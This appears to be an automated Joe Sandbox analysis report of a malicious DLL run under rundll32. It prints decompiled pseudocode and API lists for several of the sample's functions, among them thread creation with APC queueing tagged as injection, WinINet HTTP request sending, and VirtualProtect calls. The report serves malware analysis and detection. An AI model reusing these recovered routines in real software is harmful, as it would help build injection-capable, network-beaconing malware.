0x008f1454
0x008f1458
0x008f1519
0x008f145e
0x008f1476
0x008f1485
0x008f148c
0x008f148e
0x008f1493
0x008f1511
0x008f1512
0x008f1495
0x008f14a2
0x008f14a4
0x008f14a9
0x00000000
0x008f14ab
0x008f14b8
0x008f14ba
0x008f14bf
0x00000000
0x008f14c1
0x008f14ce
0x008f14d0
0x008f14d5
0x00000000
0x008f14d7
0x008f14e4
0x008f14e6
0x008f14eb
0x00000000
0x008f14ed
0x008f14f3
0x008f14f9
0x008f14fe
0x008f1503
0x008f1508
0x00000000
0x008f150a
0x008f150d
0x008f150d
0x008f1508
0x008f14eb
0x008f14d5
0x008f14bf
0x008f14a9
0x008f1493
0x008f1527

APIs

Part of subcall function 008F10A8: HeapAlloc.KERNEL32(00000000,?,008F132F,00000030,761B63F0,00000000), ref: 008F10B4

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,008F157B,?,?,?,?,?,00000002,?,?), ref: 008F146A
GetProcAddress.KERNEL32(00000000,?), ref: 008F148C
GetProcAddress.KERNEL32(00000000,?), ref: 008F14A2
GetProcAddress.KERNEL32(00000000,?), ref: 008F14B8
GetProcAddress.KERNEL32(00000000,?), ref: 008F14CE
GetProcAddress.KERNEL32(00000000,?), ref: 008F14E4

Part of subcall function 008F1000: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,761B4EE0,00000000,00000000,?), ref: 008F105D
Part of subcall function 008F1000: memset.NTDLL ref: 008F107F

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: ba74278f33d967f6cf58a99e97dd506f63b1ed17a285fbb2d6ec2a1fb2e0e792
Instruction ID: a29160f2da3c022255c8c0b8a5265811b029ff375867c40cb01be67f1340473f
Opcode Fuzzy Hash: ba74278f33d967f6cf58a99e97dd506f63b1ed17a285fbb2d6ec2a1fb2e0e792
Instruction Fuzzy Hash: 6F213EB1600A0ADFDB11DF79DC88D7AB7ECFB883447004096EA05D7251EB70E944CB60

Uniqueness

Uniqueness Score: -1.00%

Function 008F1846 Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x8f4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x8f418c;
						if( *0x8f418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x8f4198;
								if( *0x8f4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x8f418c);
						}
						HeapDestroy( *0x8f4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x8f4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x8f4190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x8f41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E008F2009(E008F1B7F, E008F1EFE(_a12, 1, 0x8f4198, _t41));
							 *0x8f418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x008f1849
0x008f1855
0x008f1857
0x008f185a
0x008f18d0
0x008f18d6
0x008f18d8
0x008f18da
0x008f18e0
0x008f18e2
0x008f18e7
0x008f18ea
0x008f18f5
0x008f18f7
0x00000000
0x00000000
0x008f18f9
0x008f18fc
0x008f18fe
0x00000000
0x00000000
0x00000000
0x008f18fe
0x008f1906
0x008f1906
0x008f1912
0x008f1912
0x008f185c
0x008f185d
0x008f187d
0x008f1883
0x008f1888
0x008f188a
0x008f18c6
0x008f18c6
0x008f188c
0x008f1894
0x008f189b
0x008f18a5
0x008f18b1
0x008f18b6
0x008f18bd
0x008f18c2
0x00000000
0x008f18c2
0x008f18bd
0x008f188a
0x008f185d
0x008f191f

APIs

InterlockedIncrement.KERNEL32(008F4188), ref: 008F1868
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 008F187D

Part of subcall function 008F2009: CreateThread.KERNEL32 ref: 008F2020
Part of subcall function 008F2009: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 008F2035
Part of subcall function 008F2009: GetLastError.KERNEL32(00000000), ref: 008F2040
Part of subcall function 008F2009: TerminateThread.KERNEL32(00000000,00000000), ref: 008F204A
Part of subcall function 008F2009: CloseHandle.KERNEL32(00000000), ref: 008F2051
Part of subcall function 008F2009: SetLastError.KERNEL32(00000000), ref: 008F205A

InterlockedDecrement.KERNEL32(008F4188), ref: 008F18D0
SleepEx.KERNEL32(00000064,00000001), ref: 008F18EA
CloseHandle.KERNEL32 ref: 008F1906
HeapDestroy.KERNEL32 ref: 008F1912

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: ff62b991a4da8c989d9fef1f5152c17ba433c6a926f056f1233f95f6f36a9b71
Instruction ID: 64ce25c4209175ceffaf8d7d22a683b02976a3c3a762b136b30b3aea2e18ce27
Opcode Fuzzy Hash: ff62b991a4da8c989d9fef1f5152c17ba433c6a926f056f1233f95f6f36a9b71
Instruction Fuzzy Hash: 7F21517161060DEBCB109FB9EC88D3A7BA8FBA57617504436E615E3250D6748E80DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F6954 Relevance: 9.0, APIs: 6, Instructions: 45
networkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F6954(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0) {
					_t9 = E010F45C4(__eax + 4, _t18, _a4, __eax, __eax + 4); // executed
					if(_t9 == 0) {
						L9:
						return GetLastError();
					}
				}
				_t10 = E010F7AF1(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x010f6954
0x010f6961
0x010f6963
0x010f696e
0x010f6975
0x010f69c6
0x00000000
0x010f69c6
0x010f6975
0x010f697b
0x010f6982
0x010f698e
0x010f6993
0x010f69a9
0x010f69b9
0x00000000
0x010f69ab
0x010f69ab
0x010f69b2
0x010f69bf
0x010f69bf
0x010f69bf
0x010f69b2
0x010f69a9
0x010f69c4
0x00000000
0x00000000
0x010f69ca

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,010F37A0,?,?,761F81D0,00000000), ref: 010F698E
ResetEvent.KERNEL32(?), ref: 010F6993
HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 010F69A0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?,?), ref: 010F69AB
GetLastError.KERNEL32(?,?,00000102,010F37A0,?,?,761F81D0,00000000), ref: 010F69C6

Part of subcall function 010F45C4: lstrlen.KERNEL32(00000000,00000008,?,761B4D40,?,?,010F6973,?,?,?,?,00000102,010F37A0,?,?,761F81D0), ref: 010F45D0
Part of subcall function 010F45C4: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,010F6973,?,?,?,?,00000102,010F37A0,?), ref: 010F462E
Part of subcall function 010F45C4: lstrcpy.KERNEL32(00000000,00000000), ref: 010F463E

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?), ref: 010F69B9

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
String ID:
API String ID: 3739416942-0
Opcode ID: 4086b032bc4e6afe7bd488109cfc28473761614a2cca52894125630df2ba1f73
Instruction ID: 014d00d90260ad77c15e8e37ef4dd1ad5b90796e65181cab31720e3c396d966a
Opcode Fuzzy Hash: 4086b032bc4e6afe7bd488109cfc28473761614a2cca52894125630df2ba1f73
Instruction Fuzzy Hash: 3501AD31108202AEDB326A79EC46F9B7AE8FF84364F10062CF7D1918E0C722E408DA21

Uniqueness

Uniqueness Score: -1.00%

Function 008F2009 Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008F2009(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x8f41c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x008f2020
0x008f2026
0x008f202a
0x008f2035
0x008f203d
0x008f2046
0x008f204a
0x008f2051
0x008f2058
0x008f205a
0x008f2060
0x008f203d
0x008f2064

APIs

CreateThread.KERNEL32 ref: 008F2020
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 008F2035
GetLastError.KERNEL32(00000000), ref: 008F2040
TerminateThread.KERNEL32(00000000,00000000), ref: 008F204A
CloseHandle.KERNEL32(00000000), ref: 008F2051
SetLastError.KERNEL32(00000000), ref: 008F205A

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: 448d96933ea6edba97c574cb1a2b4d6022328fe6b4b6d621716813facd7cd5c0
Instruction ID: 2d1e70e16fdab9441c9e07db77d62967444c78d9b00ba29eff6822592c2fca10
Opcode Fuzzy Hash: 448d96933ea6edba97c574cb1a2b4d6022328fe6b4b6d621716813facd7cd5c0
Instruction Fuzzy Hash: CCF01532205A20BBD7225BB0AC48FBBBFA9FF98751F040506FB05D1160DF228A50CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 010F3D2C Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E010F3D2C(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t63;
				CHAR* _t67;
				CHAR* _t68;
				char* _t69;
				void* _t70;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E010F3CFD();
				if(_t21 != 0) {
					_t59 =  *0x10fa2fc; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x10fa2fc = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x10fa178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E010F389E( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x10fa348; // 0x40ad5a8
					if( *0x10fa2fc > 5) {
						_t8 = _t26 + 0x10fb5c5; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x10fb9fd; // 0x44283a44
						_t27 = _t7;
					}
					E010F6B80(_t27, _t27);
					_t31 = E010F76BB(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t63 = 5;
					if(_t54 != _t63) {
						 *0x10fa310 =  *0x10fa310 ^ 0x81bbe65d;
						_t32 = E010F6D63(0x60);
						 *0x10fa3cc = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x10fa3cc; // 0x51a95b0
							_t70 = _t70 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x10fa3cc; // 0x51a95b0
							 *_t51 = 0x10fb827;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x10fa2d8, 0, 0x43);
							 *0x10fa368 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x10fa2fc; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x10fa348; // 0x40ad5a8
								_t13 = _t58 + 0x10fb552; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x10f9287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E010F3365( ~_v8 &  *0x10fa310, 0x10fa00c); // executed
								_t42 = E010F1645(0, _t55, _t63, 0x10fa00c); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E010F3981(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t67 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E010F661D(_t61, _t67, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t67;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E010F529C(__eflags,  &(_t67[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t68 = _v12;
						if(_t68 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x10fa17c();
							}
							goto L34;
						}
						_t69 =  &(_t68[4]);
						do {
						} while (E010F7928(_t63, _t69, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x010f3d2c
0x010f3d36
0x010f3d39
0x010f3d3c
0x010f3d3f
0x010f3d46
0x010f3d48
0x010f3d54
0x010f3d56
0x010f3d56
0x010f3d5f
0x010f3d65
0x010f3d6a
0x010f3d84
0x010f3d90
0x010f3d92
0x010f3d97
0x010f3da1
0x010f3da1
0x010f3d99
0x010f3d99
0x010f3d99
0x010f3d99
0x010f3da8
0x010f3db5
0x010f3dbc
0x010f3dc1
0x010f3dc1
0x010f3dca
0x010f3dcd
0x010f3df3
0x010f3dff
0x010f3e04
0x010f3e09
0x010f3e0b
0x010f3e37
0x010f3e39
0x010f3e0d
0x010f3e11
0x010f3e16
0x010f3e1b
0x010f3e22
0x010f3e28
0x010f3e2d
0x010f3e33
0x010f3e3a
0x010f3e3c
0x010f3e3e
0x010f3e4d
0x010f3e53
0x010f3e58
0x010f3e5a
0x010f3e8a
0x010f3e8c
0x010f3e5c
0x010f3e5c
0x010f3e62
0x010f3e6f
0x010f3e75
0x010f3e75
0x010f3e7d
0x010f3e86
0x010f3e8d
0x010f3e8f
0x010f3e91
0x010f3e98
0x010f3ea5
0x010f3eaa
0x010f3eaf
0x010f3eb1
0x010f3eb3
0x00000000
0x00000000
0x010f3eb5
0x010f3eba
0x010f3ebc
0x010f3ec3
0x010f3ec7
0x010f3eca
0x010f3edf
0x010f3ee3
0x010f3ee8
0x00000000
0x010f3ee8
0x010f3ecc
0x010f3ece
0x00000000
0x00000000
0x010f3ed9
0x010f3edb
0x010f3edd
0x00000000
0x00000000
0x00000000
0x010f3edd
0x010f3ec0
0x010f3ec0
0x010f3e91
0x010f3dcf
0x010f3dcf
0x010f3dd4
0x010f3eea
0x010f3eef
0x010f3ef7
0x010f3ef7
0x00000000
0x010f3eef
0x010f3dda
0x010f3ddd
0x010f3de7
0x010f3dee
0x00000000
0x010f3eff
0x010f3eff
0x010f3f02
0x010f3f06
0x010f3f06

APIs

Part of subcall function 010F3CFD: GetModuleHandleA.KERNEL32(4C44544E,00000000,010F3D44,00000001), ref: 010F3D0C

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 010F3DC1

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

memset.NTDLL ref: 010F3E11
RtlInitializeCriticalSection.NTDLL(051A9570), ref: 010F3E22

Part of subcall function 010F529C: memset.NTDLL ref: 010F52B6
Part of subcall function 010F529C: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 010F52FC
Part of subcall function 010F529C: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 010F5307

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 010F3E4D
wsprintfA.USER32 ref: 010F3E7D

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 8efff42c1ca81034601f845a33bfce5aa1854f5c08eb17ab467d203584371d8c
Instruction ID: f5263ada639ecf503312eebfb7b0885845f1fe44e97d0cbc6a4563362f3326ee
Opcode Fuzzy Hash: 8efff42c1ca81034601f845a33bfce5aa1854f5c08eb17ab467d203584371d8c
Instruction Fuzzy Hash: E951A171B00215EBDB61AEA8D88BBAE37E8BB08720F00445DE7C5DB985D6BA9544CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010F19E2 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E010F19E2(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E010F6D63(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E010F6C2C(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E010F6D63((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x10fa318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x010f19e9
0x010f19f0
0x010f19f5
0x010f19f8
0x010f19ff
0x010f1a02
0x010f1a05
0x010f1a0a
0x010f1a0f
0x010f1b63
0x010f1b65
0x010f1b67
0x010f1b6c
0x010f1b6c
0x010f1a15
0x010f1a18
0x010f1a1b
0x010f1a1d
0x010f1a1d
0x010f1a21
0x00000000
0x00000000
0x010f1a25
0x010f1a51
0x010f1a56
0x010f1a58
0x010f1a58
0x010f1a5b
0x010f1a5e
0x010f1a5e
0x010f1a60
0x00000000
0x010f1a2b
0x010f1a2d
0x010f1a4c
0x010f1a4c
0x010f1a63
0x010f1a63
0x010f1a64
0x010f1a64
0x010f1a67
0x00000000
0x00000000
0x00000000
0x010f1a67
0x010f1a31
0x010f1a78
0x010f1a7c
0x010f1b56
0x010f1b58
0x010f1b58
0x010f1b59
0x010f1b5c
0x00000000
0x010f1b5c
0x010f1a85
0x010f1a96
0x010f1a9a
0x010f1b52
0x00000000
0x010f1b52
0x010f1aa0
0x010f1aa3
0x010f1aa7
0x010f1aab
0x010f1ab0
0x010f1b48
0x010f1b48
0x00000000
0x010f1b4e
0x010f1abb
0x010f1ac4
0x010f1ad8
0x010f1adf
0x010f1af4
0x010f1afa
0x010f1b02
0x00000000
0x00000000
0x00000000
0x00000000
0x010f1b04
0x010f1b04
0x010f1b04
0x010f1b0b
0x010f1b13
0x00000000
0x00000000
0x010f1b15
0x010f1b1e
0x00000000
0x00000000
0x00000000
0x010f1b20
0x010f1b22
0x010f1b25
0x010f1b25
0x010f1b28
0x010f1b2c
0x010f1b2f
0x010f1b35
0x010f1b38
0x010f1b3f
0x00000000
0x010f1abb
0x010f1a36
0x010f1a3e
0x010f1a44
0x010f1a46
0x010f1a46
0x010f1a49
0x010f1a4b
0x00000000
0x010f1a4b
0x010f1a25
0x010f1a6b
0x010f1a70
0x010f1a72
0x010f1a72
0x010f1a75
0x010f1a75
0x00000000

APIs

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

lstrcpy.KERNEL32(69B25F45,00000020), ref: 010F1ADF
lstrcat.KERNEL32(69B25F45,00000020), ref: 010F1AF4
lstrcmp.KERNEL32(00000000,69B25F45), ref: 010F1B0B
lstrlen.KERNEL32(69B25F45), ref: 010F1B2F

Strings

, xrefs: 010F1A78

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: 287f2f953136f3c77069fdc99c2a894ced12bac4e83d6cc87f7a1ccf91850c92
Instruction ID: fd3150f7b28732b438e693b5b36f40f1bbbba9f02241a83323107c959ba9296e
Opcode Fuzzy Hash: 287f2f953136f3c77069fdc99c2a894ced12bac4e83d6cc87f7a1ccf91850c92
Instruction Fuzzy Hash: 6951B231A00108EFDB21CF99C4867EDBBF6FF45314F05809EEA959B655C771AA45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 008D1A0A Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 218memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 008D1A61
VirtualProtect.KERNEL32 ref: 008D1AE2

Strings

X, xrefs: 008D1B95

Memory Dump Source

Source File: 00000002.00000002.783985750.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: X
API String ID: 544645111-3081909835
Opcode ID: 6dea49ffef48e7161a3c100a3423d4f4514289b8c1cabef067fb8b0a5c0c13aa
Instruction ID: 6c875410db90e6672fe8d6585bb927cbd95fc2400808acbc7c1982c052c76895
Opcode Fuzzy Hash: 6dea49ffef48e7161a3c100a3423d4f4514289b8c1cabef067fb8b0a5c0c13aa
Instruction Fuzzy Hash: DEB1ADB4E002188FDB68CF59C890B9DFBB1FF48314F1581AAD908AB356D735A985CF41

Uniqueness

Uniqueness Score: -1.00%

Function 010F74FE Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 010F755B
SysAllocString.OLEAUT32(010F3520), ref: 010F759F
SysFreeString.OLEAUT32(00000000), ref: 010F75B3
SysFreeString.OLEAUT32(00000000), ref: 010F75C1

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
